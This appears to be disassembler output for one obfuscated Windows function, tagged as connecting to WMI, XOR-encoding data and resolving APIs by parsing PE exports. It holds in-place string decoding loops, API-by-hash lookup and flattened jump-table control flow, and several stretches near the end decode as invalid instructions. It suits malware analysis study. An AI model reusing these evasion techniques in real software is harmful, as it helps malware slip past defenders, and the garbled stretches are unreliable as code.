Function at 0x43c4a0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov esi, esp
push eax
mov dword [esi + 0x24], esp
push eax
mov dword [esi + 0x20], esp
push eax
mov dword [esi + 8], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x10], eax
mov esp, eax
push eax
sub esp, 0x1c
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x14], esp
mov eax, dword [0x4521f0]
mov dword [esi + 0xc], eax
mov dword [esi + 0x28], 0x57094925
mov dword [esi + 0x2c], 0x53ed55ed
mov dword [esi + 0x30], 0x5ff351ec
mov dword [esi + 0x34], 0x5b165de9
mov dword [esi + 0x38], 0xa70f59e6
mov dword [esi + 0x3c], 0xa30fa51e
mov dword [esi + 0x40], 0xafaea1cd
mov word [esi + 0x44], 0
mov byte [esi + 0x46], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esi + ecx + 0x28]
lea eax, [ecx + ecx]
mov edx, eax
and edx, 0x1c
mov edi, ecx
xor edi, 0x152549ee
add edi, edx
xor edi, ebx
mov edx, edi
and edx, 0xa6
mov ebx, edi
xor ebx, 0x59
add ebx, edi
sub ebx, edx
and edi, 0x59
add ebx, edi
inc bl
mov byte [esi + ecx + 0x28], bl
and eax, 2
xor ecx, 1
add ecx, eax
cmp ecx, 0x1f
jb case.default.0x43c57a
lea eax, [esi + 0x5c]
lea ecx, [esi + 0x78]
lea ebx, [esi + 0x28]
push eax
push 8
push ecx
push 0xd
push ebx
push 0
call dword [esi + 0xc]
shr eax, 0x1f
jmp dword [eax*4 + 0x44f7f0]
mov dword [esi + 0x78], 0x3a0043
mov dword [esi + 0x7c], 0x5c
mov dword [esi + 0x68], 0
mov dword [esi + 0x64], 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x1c], 0
lea eax, [esi + 0x1c]
push eax
push 0x448b20
push 1
push 0
push 0x448b30
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f7f8]
mov dword [esi + 0x28], 0x398b3b82
mov dword [esi + 0x2c], 0x259a2789
mov dword [esi + 0x30], 0x21ef2380
mov dword [esi + 0x34], 0x2d9d2f97
mov dword [esi + 0x38], 0x29f42b96
mov word [esi + 0x3c], 0x1728
mov dword [esi + 0x3e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + eax + 0x28]
mov ecx, 0xec990d34
sub ecx, eax
or ecx, edx
mov edi, 0x34
sub edi, eax
and edi, edx
not ecx
or ecx, edi
mov edx, ecx
xor edx, 0xf7
or ecx, 8
and edx, ecx
add edx, ecx
inc dl
mov byte [esi + eax + 0x28], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x1a
jb case.default.0x43c678
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esi + 0x1c]
mov ecx, dword [eax]
lea edx, [esi + 0x18]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f800]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esi + 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f818]
mov dword [esi + 0x74], edi
mov dword [esi + 0x28], 0x3f8f3983
mov dword [esi + 0x2c], 0x23223d70
mov eax, 0xf5
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx]
lea ecx, [eax - 0x78f68900]
or ecx, edx
and edx, eax
not ecx
or ecx, edx
mov edx, ecx
and edx, 0x3b
xor ecx, 0xbb
lea ecx, [ecx + edx*2]
add cl, 0x13
mov byte [ebx], cl
dec eax
inc ebx
cmp eax, 0xed
jne 0x43c6c0
lea edi, [esi + 0x28]
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0xc], eax
mov dword [esi + 0x28], 0xd79bc997
mov dword [esi + 0x2c], 0xd39fd580
mov dword [esi + 0x30], 0xdf82d19f
mov dword [esi + 0x34], 0xdbecddfc
mov dword [esi + 0x38], 0xe7acd9f8
mov dword [esi + 0x3c], 0xe3b1e5ba
mov dword [esi + 0x40], 0xefcee1b5
mov dword [esi + 0x44], 0xeb83edb7
mov dword [esi + 0x48], 0xf7c9e99a
mov dword [esi + 0x4c], 0xf391f5ca
mov dword [esi + 0x50], 0xffb7f1be
mov dword [esi + 0x54], 0xfba5fdaf
mov dword [esi + 0x58], 0xf9f8
mov eax, 0x4e
mov ecx, 0xece626b1
nop
movzx ebx, byte [esi + eax - 0x26]
mov edx, eax
xor edx, ecx
and edx, ebx
xor edx, ecx
mov ebx, pe_nt_image_headers32
sub ebx, edx
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esi + eax - 0x26], bl
inc eax
dec ecx
cmp eax, 0x82
jne case.default.0x43c7ac
push edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax]
mov edi, dword [esi + 0x24]
push edi
push 0
push 0x30
push ebx
push dword [esi + 0xc]
push eax
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f820]
jmp 0x43c968
mov dword [esi + 0x70], ebx
mov ebx, dword [esi + 8]
mov dword [ebx], 0
mov eax, dword [edi]
mov ecx, dword [eax]
push ebx
mov edi, dword [esi + 0x20]
push edi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [ebx], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x44f828]
push dword [esi + 0x10]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [edi]
mov ebx, dword [esi + 4]
mov dword [ebx], 0x13af11c3
mov dword [ebx + 4], 0xef57ed5e
mov dword [ebx + 8], 0xeb5ee949
mov dword [ebx + 0xc], 0xe76be532
mov dword [ebx + 0x10], 0xe340e155
mov dword [ebx + 0x14], 0xff4cfd41
mov word [ebx + 0x18], 0xf9f8
mov dword [ebx + 0x1a], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xfc
xor dl, byte [ebx + ecx]
add dl, 0x14
mov byte [ebx + ecx], dl
inc ecx
cmp ecx, 0x1e
jne case.default.0x43c878
mov ecx, dword [eax]
push 0
push 0
mov edx, ebx
mov ebx, dword [esi + 0x10]
push ebx
push 0
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [ebx], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44f830]
mov eax, dword [ebx + 8]
mov dword [esi + 4], eax
movzx ecx, word [eax]
xor ebx, ebx
mov edi, 0
test cx, cx
je 0x43c8cb
mov eax, dword [esi + 4]
add eax, 2
xor edi, edi
jmp 0x43c8aa
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43c8cb
cmp cx, 0x7f
jbe 0x43c89e
movzx edx, cx
cmp edx, 0x7ff
ja 0x43c8c0
add edi, 2
jmp 0x43c89f
cmp cx, 0xffff
je 0x43c89f
add edi, 3
jmp 0x43c89f
mov dword [esi + 8], edi
mov eax, dword [esi + 8]
lea edi, [eax + 1]
push edi
call fcn.0040c9f0
add esp, 4
mov dword [esi + 0x6c], eax
push dword [esi + 4]
push edi
mov edi, dword [esi + 8]
push eax
call fcn.0042af20
mov ecx, dword [esi + 0x6c]
add esp, 0xc
add edi, 0xfffffffc
xor eax, eax
cmp ebx, 4
setb al
jmp dword [eax*4 + 0x44f838]
mov eax, dword [ecx + ebx*4]
mov dword [esi + ebx*4 + 0x5c], eax
xor eax, eax
sub edi, 4
setb al
jmp dword [eax*4 + 0x44f840]
inc ebx
xor eax, eax
cmp ebx, 4
setb al
jmp dword [eax*4 + 0x44f838]
mov ebx, dword [esi + 0x10]
jmp dword [0x44f848]
push ecx
call fcn.0040ca00
add esp, 4
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ebx, dword [esi + 0x70]
push dword [esi + 0xc]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov edi, dword [esi + 0x74]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 0x1c]
mov ecx, dword [eax]
mov edx, dword [case.0x43c878.10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp edx
push eax
call dword [ecx + 8]
mov edi, dword [esi + 0x14]
mov dword [edi], 0
push 0xd2e7977e
push dword [0x4521e8]
call fcn.00444bb0
add esp, 8
push 0
push 0
push 0
push 0
push edi
push 0
push 0
lea ecx, [esi + 0x78]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44f870]
mov eax, dword [edi]
mov dword [esi + 0x5c], eax
xor ebx, ebx
xor eax, eax
cmp ebx, 4
setb al
mov edx, dword [ebp + 8]
jmp dword [eax*4 + 0x44f878]
xor ecx, ecx
test ebx, ebx
setne cl
mov eax, ebx
jmp dword [ecx*4 + 0x44f890]
xor ecx, ecx
cmp dword [esi + ebx*4 + 0x5c], 0
sete cl
mov eax, ebx
jmp dword [ecx*4 + 0x44f8a8]
lea eax, [ebx - 1]
imul eax, dword [esi + eax*4 + 0x5c], 0x1a5845
add eax, 0xebde8a13
mov dword [esi + ebx*4 + 0x5c], eax
mov edi, 0xfffffff7
push 0x10
push 9
mov dword [esi + 0x14], edx
push edx
push eax
call fcn.00434780
add esp, 0x10
nop
nop
nop
cmp byte [eax + edi + 9], 0
lea edi, [edi + 1]
jne case.default.0x43ca64
xor edx, edx
cmp edi, 0
setne dl
xor ecx, ecx
jmp dword [edx*4 + 0x44f8b0]
mov byte [eax + ecx - 1], 0x30
dec ecx
xor edx, edx
cmp edi, ecx
setne dl
jmp dword [edx*4 + 0x44f8b0]
mov edx, dword [esi + 0x14]
add edx, 8
inc ebx
xor eax, eax
cmp ebx, 4
setb al
jmp dword [eax*4 + 0x44f878]
mov eax, dword [case.0x43c878.15]
nop
jmp eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ebx, ebx
jmp 0x43cc0d
push 0x400
call fcn.0043fa10
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x10]
mov dword [esp], 0xf4f50a0b
mov dword [esp + 4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
xor edx, 1
mov edi, ecx
or edi, 0xfe
and edx, edi
add edx, edi
xor dl, byte [esp + ecx]
add dl, 0xa
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 8
jne 0x43cb10
mov ecx, dword [esp]
mov edx, dword [0x4521f4]
test edx, edx
je case.default.0x43cc3d
xor edi, edi
mov ebx, dword [0x4521f8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xa70a987f
je 0x43cb60
inc edi
cmp edx, edi
jne 0x43cb50
jmp case.default.0x43cc3d
mov edx, dword [ebx + edi*8 + 4]
cmp edx, ecx
jne 0x43cc17
not ecx
shr ecx, 0x1f
xor ebx, ebx
jmp dword [ecx*4 + 0x44f8d0]
push esi
call fcn.0043fae0
add esp, 4
mov eax, dword [esp + 0x10]
mov dword [esp], 0xf4f50a0b
mov dword [esp + 4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
xor edx, 1
mov esi, ecx
or esi, 0xfe
and edx, esi
add edx, esi
xor dl, byte [esp + ecx]
add dl, 0xa
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 8
jne 0x43cba0
mov ecx, dword [0x4521f4]
test ecx, ecx
je 0x43cc0a
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x4521f8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x43cbf0
inc esi
cmp ecx, esi
jne 0x43cbe0
jmp 0x43cc0a
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43cc0a
push eax
push 1
push dword [0x4521fc]
push ecx
call fcn.00442500
add esp, 0x10
and bl, 1
mov eax, ebx
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
lea ecx, [esp + 0x14]
push 0x2f
push 0x400
push esi
push ecx
push eax
push 5
push dword [0x4521fc]
push edx
call fcn.00442500
add esp, 0x20
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44f8d0]
xor ebx, ebx
xor eax, eax
cmp ebx, dword [esi]
setb al
xor edi, edi
jmp dword [eax*4 + 0x44f8d8]
mov ecx, esp
call fcn.0043feb0
inc edi
xor eax, eax
cmp edi, dword [esi]
setb al
jmp dword [eax*4 + 0x44f8d8]
mov eax, dword [esi + edi*4 + 4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov ecx, esp
push 0
push eax
call fcn.0043fd30
xor eax, eax
mov ecx, dword [esp + 0x34]
neg ecx
sbb eax, dword [esp + 0x38]
setl al
movzx ebp, al
shl ebp, 0x14
or ebp, 1
jmp dword [0x44f8f0]
mov ecx, esp
push dword [esp + 0x38]
push dword [esp + 0x38]
push 0
call fcn.0043ff60
test eax, eax
setns bl
mov eax, dword [case.0x43cc3d.12]
nop
nop
nop
nop
nop
jmp eax
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44f900]
mov ecx, esp
push ebp
call fcn.0043fd50
mov ecx, esp
push ebp
call fcn.0043fd50
jmp dword [0x44f8f8]
int3
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x264]
mov eax, dword [ecx + eax*4]
mov esi, dword [ebp - 0x10]
jmp eax
mov ax, word [esi]
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ebp - 0x2ac]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [ebp - 0x30]
mov al, byte [eax]
mov byte [ebp - 0x18], al
mov byte [ebx], 0x46
mov byte [ebx + 1], 9
mov byte [ebx + 2], 0x62
mov byte [ebx + 3], 0xf
mov byte [ebx + 4], 0xc
mov byte [ebx + 5], 0xd
mov eax, 6
mov edi, ebx
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0xc
jne 0x43d753
xor eax, eax
mov ebx, dword [ebp + 0xc]
cmp eax, 0xc
jae 0x43d7c2
movzx ecx, byte [edi + eax]
mov edx, eax
add edx, 0x90386882
xor edx, ecx
mov esi, edx
shl esi, 1
xor esi, 0xffffffff
add edx, esi
mov esi, eax
add esi, 0x10386883
mov edi, 0x6fc7977d
sub edi, eax
or edi, edx
add edi, esi
shl edi, 1
mov edx, eax
sub edx, edi
mov edi, dword [ebp - 0x14]
add edx, ecx
mov ecx, edx
add ecx, 0xbf1e5df7
mov esi, ecx
shl esi, 1
and esi, 2
and edx, 1
and ecx, 0xfe
or edx, ecx
add edx, esi
mov byte [edi + eax], dl
add eax, 1
jmp 0x43d764
mov eax, ebx
add eax, 2
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.0043e520
add esp, 8
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ecx + eax*4]
mov ebx, edi
jmp eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e1f0
test esi, esi
sete bl
mov dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 0x5c
call fcn.0043e4e0
add esp, 8
xor ecx, ecx
test eax, eax
sete dl
mov dword [ebp - 0x348], 0
mov esi, dword [ebp - 0x34c]
mov ebx, dword [ebp - 0x348]
mov esi, dword [esi + ebx*4]
jmp esi
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x3c]
mov al, byte [eax]
mov byte [ebp - 0x20], al
mov ecx, dword [ebp - 0x2c]
mov byte [ecx], 0xaa
mov byte [ecx + 1], 0x61
mov byte [ecx + 2], 0xce
mov byte [ecx + 3], 0x63
mov byte [ecx + 4], 0x64
mov byte [ecx + 5], 0x65
mov eax, 6
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 8
jne 0x43d8dd
xor eax, eax
cmp eax, 8
jae 0x43d94d
movzx edx, byte [ecx + eax]
mov ecx, eax
xor ecx, 0x1fe97c7
mov esi, eax
shl esi, 1
and esi, 0xfc02d070
sub esi, ecx
mov ecx, esi
add ecx, 0x79e414df
mov ebx, edx
xor ebx, 0xffffffff
and ecx, ebx
mov ebx, 0x20
sub ebx, esi
and ebx, edx
or ecx, ebx
mov ebx, dword [ebp + 0xc]
mov esi, ecx
add esi, 1
mov edx, ecx
xor edx, 0xffffffff
or edx, 0x87
add edx, esi
or ecx, 0x87
add edx, ecx
mov ecx, dword [ebp - 0x2c]
add dl, 1
mov byte [ecx + eax], dl
add eax, 1
jmp 0x43d8eb
mov esi, ebx
add esi, 2
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], esi
call fcn.0043e520
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x1f8], ecx
mov eax, dword [ebp - 0x1fc]
mov ecx, dword [ebp - 0x1f8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0x178], 1
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x178]
mov eax, dword [eax + ecx*4]
jmp eax
invalid
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x194]
mov eax, dword [ecx + eax*4]
mov esi, edx
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0x1b0], 1
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 0x154]
mov ecx, dword [edx + ecx*4]
mov ebx, dword [ebp + 0xc]
mov edx, esi
mov esi, eax
jmp ecx
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x10], esi
call fcn.0040e1f0
mov dword [ebp - 0x350], 1
mov eax, dword [ebp - 0x354]
mov ecx, dword [ebp - 0x350]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x184]
mov eax, dword [ecx + eax*4]
mov edi, dword [ebp - 0x34]
jmp eax
mov ax, word [ebx]
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [ebp - 0x2cc]
mov ecx, dword [edx + ecx*4]
jmp ecx
add esi, 0xfffffffe
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x1a4]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [ebp - 0x28], edx
call fcn.0040e1f0
mov dword [ebp - 0x2e0], 1
mov eax, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [ebp - 0x14]
jmp eax
mov ax, word [edi]
mov ecx, dword [ebp - 0x228]
mov edx, dword [ebp - 0x22c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov al, 5
and esi, dword [edi + 0x3a]
jmp 0x43db51
add al, 0x81
jmp eax
mov ax, word [esi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x1c0], ecx
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c0]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov esi, dword [ebp - 0x10]
mov ecx, esi
mov ebx, dword [ebp + 0xc]
sub ecx, ebx
seta al
mov dword [ebp - 0x2f0], eax
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [ebp - 0x2f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x1f0], ecx
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1f0]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
call fcn.0040e1f0
mov dword [ebp - 0x328], 1
mov eax, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0x328]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, esi
sub ecx, 3
sete al
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
int3
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1ac]
mov eax, dword [ecx + eax*4]
mov edx, esi
jmp eax
js 0x43dc22
pop edx
pop edx
lahf
nop
insd dword es:[edi], dx
mov edx, 0x8b90458b
dec ebp
mov word [ebx - 0x1f007efc], cs
mov ax, word [edi + 4]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [ebp - 0x188], ecx
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x188]
mov eax, dword [eax + ecx*4]
mov esi, dword [ebp - 0x10]
jmp eax
mov word [esi], 0
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ecx + eax*4]
mov edi, edx
jmp eax
mov al, cl
and eax, 1
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x318]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
sub esp, 0xc
mov dword [ebp - 0x14], esp
push eax
mov esi, esp
sub esp, 8
mov edi, esp
push eax
mov ebx, esp
cmp dword [ebp + 8], 0
sete al
cmp dword [ebp + 0xc], 0
sete cl
or al, cl
mov dword [ebp - 0x378], 0
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ebp - 0x378]
mov ecx, dword [ecx + edx*4]
jmp ecx
aam 0x63
xor ebp, dword [ebx - 0x75]
inc ebp
mov al, byte [0x8b9c4d8b]
add al, 0x81
jmp eax
call fcn.0040e1f0
mov eax, ebx
add eax, 4
mov dword [ebp - 0x120], 0
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp - 0x120]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x30]
mov al, byte [eax]
mov byte [ebp - 0x1c], al
mov byte [ebx], 0x46
mov byte [ebx + 1], 9
mov byte [ebx + 2], 0x62
mov byte [ebx + 3], 0xf
mov byte [ebx + 4], 0xc
mov byte [ebx + 5], 0xd
mov eax, 6
mov edi, ebx
mov byte [edi + eax], 0
add eax, 1
cmp eax, 0xc
jne 0x43dd4d
xor eax, eax
mov ebx, dword [ebp + 0xc]
cmp eax, 0xc
jae 0x43ddbc
movzx ecx, byte [edi + eax]
mov edx, eax
add edx, 0x90386882
xor edx, ecx
mov esi, edx
shl esi, 1
xor esi, 0xffffffff
add edx, esi
mov esi, eax
add esi, 0x10386883
mov edi, 0x6fc7977d
sub edi, eax
or edi, edx
add edi, esi
shl edi, 1
mov edx, eax
sub edx, edi
mov edi, dword [ebp - 0x14]
add edx, ecx
mov ecx, edx
add ecx, 0xbf1e5df7
mov esi, ecx
shl esi, 1
and esi, 2
and edx, 1
and ecx, 0xfe
or edx, ecx
add edx, esi
mov byte [edi + eax], dl
add eax, 1
jmp 0x43dd5e
mov esi, ebx
add esi, 2
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.0043e520
add esp, 8
xor ecx, ecx
test eax, eax
setne al
mov dword [ebp - 0x2d8], 0
mov edx, dword [ebp - 0x2dc]
mov edi, dword [ebp - 0x2d8]
mov edx, dword [edx + edi*4]
mov ebx, dword [ebp - 0x14]
jmp edx
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x11c]
mov ecx, dword [edx + ecx*4]
jmp ecx
sub eax, 0x8bef9fa0
inc ebp
mov eax, 0x8bb44d8b
add al, 0x81
jmp eax
mov ax, word [edi]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [ebp - 0x300], ecx
mov eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x300]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ecx + eax*4]
mov bl, 1
jmp eax
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x274]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x244]
mov eax, dword [ecx + eax*4]
jmp eax
sub eax, edi
mov ecx, eax
sar ecx, 1
and eax, 2
mov dword [ebp - 0x38], ecx
mov esi, ecx
xor esi, 1
add esi, eax
xor eax, eax
mov ecx, esi
sub ecx, 1
sete al
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov eax, esi
add eax, 0xfffffffe
mov dword [ebp - 0x250], 1
mov ecx, dword [ebp - 0x254]
mov edx, dword [ebp - 0x250]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e1f0
mov dword [ebp - 0x278], 1
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0xa8], 0
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, 0x8b38b01c
test dword [eax - 1], esi
invalid
call fcn.0040e1f0
mov dword [ebp - 0x128], 0
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x128]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], edi
call fcn.0041c8e0
add esp, 4
lea eax, [edi + eax*2]
mov ecx, dword [ebp - 0x338]
mov edx, dword [ebp - 0x33c]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov cl, dl
and ecx, 1
mov dword [ebp - 0x340], ecx
mov ecx, dword [ebp - 0x344]
mov edx, dword [ebp - 0x340]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov word [ebx], 0x5c
mov word [ebx + 2], 0
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x140], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x140]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e1f0
sub esp, 0xc
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.0041c540
add esp, 0xc
mov ecx, dword [ebp - 0x38]
lea eax, [edi + ecx*2]
lea esi, [ebx + ecx*2]
mov dword [ebp - 0x158], 0
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x158]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov cl, al
and ecx, 1
mov dword [ebp - 0x2d0], ecx
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [eax + ecx*4]
mov ebx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x28]
jmp eax
not bl
movzx eax, bl
and eax, 1
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x268]
mov eax, dword [eax + ecx*4]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x28]
jmp eax
call fcn.0040e1f0
mov dword [ebp - 0xc8], 0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xc8]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, edi
add edx, 2
mov ax, word [edi + 2]
xor ecx, ecx
test ax, ax
sete cl
mov dword [ebp - 0x2f8], ecx
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f8]
mov eax, dword [eax + ecx*4]
jmp eax
push ecx
in al, dx
out dx, eax
and al, 0x83
in al, dx
or al, 0x8b
inc ebp
fmul qword [ecx - 0x76f7dbbc]
pop esp
and al, 4
mov dword [esp], edi
call fcn.0041c540
add esp, 0xc
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ecx + eax*4]
jmp eax
xor dword [eax + 0x458b6824], ebx
or byte [ebx - 0x8373], 0xff
mov eax, dword [ecx + eax*4]
jmp eax
mov ebx, dword [ebp + 0xc]
mov word [ebx], 0
mov eax, dword [ebp - 0x360]
mov ecx, dword [ebp - 0x364]
mov eax, dword [ecx + eax*4]
